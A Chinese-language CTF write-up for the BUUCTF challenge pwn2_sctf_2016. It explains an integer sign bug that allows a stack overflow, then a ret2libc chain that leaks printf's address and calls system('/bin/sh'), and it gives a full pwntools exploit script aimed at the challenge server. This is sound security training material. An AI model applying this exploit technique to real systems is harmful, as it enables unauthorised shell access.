[BUUCFT]PWN——pwn2

    科技2022-08-03  98

    pwn2_sctf_2016

    题目附件

    步骤:

    例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况

    32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和‘/bin/sh’,加上开启了NX保护,估计是泄露libc类型的题目

    从main函数开始看程序,main函数就调用了一个vuln函数 注意第7行的输入函数不是get,是程序自定义的函数get_n, 接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

    利用思路:

    一开始输入负数,绕过长度限制,造成溢出利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址溢出覆盖返回地址去执行system(‘/bin/sh’)

    利用过程:

    造成整数溢出 在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击 r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') 泄露libc r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got) r.sendline(payload) r.recvuntil('\n') printf_addr=u32(r.recv(4)) libc=LibcSearcher('printf',printf_addr) 计算system和bin/sh的地址 offset=printf_addr-libc.dump('printf') system=offset+libc.dump('system') bin_sh=offset+libc.dump('str_bin_sh') 覆盖返回地址为system(‘/bin/sh’) r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh) r.sendline(payload)

    完整EXP:

    from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',29806) elf=ELF('./pwn2_sctf_2016') printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] main=elf.sym['main'] r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got) r.sendline(payload) r.recvuntil('\n') printf_addr=u32(r.recv(4)) libc=LibcSearcher('printf',printf_addr) offset=printf_addr-libc.dump('printf') system=offset+libc.dump('system') bin_sh=offset+libc.dump('str_bin_sh') r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh) r.sendline(payload) r.interactive()

    有多个匹配的libc版本,这边选13

    Processed: 0.014, SQL: 8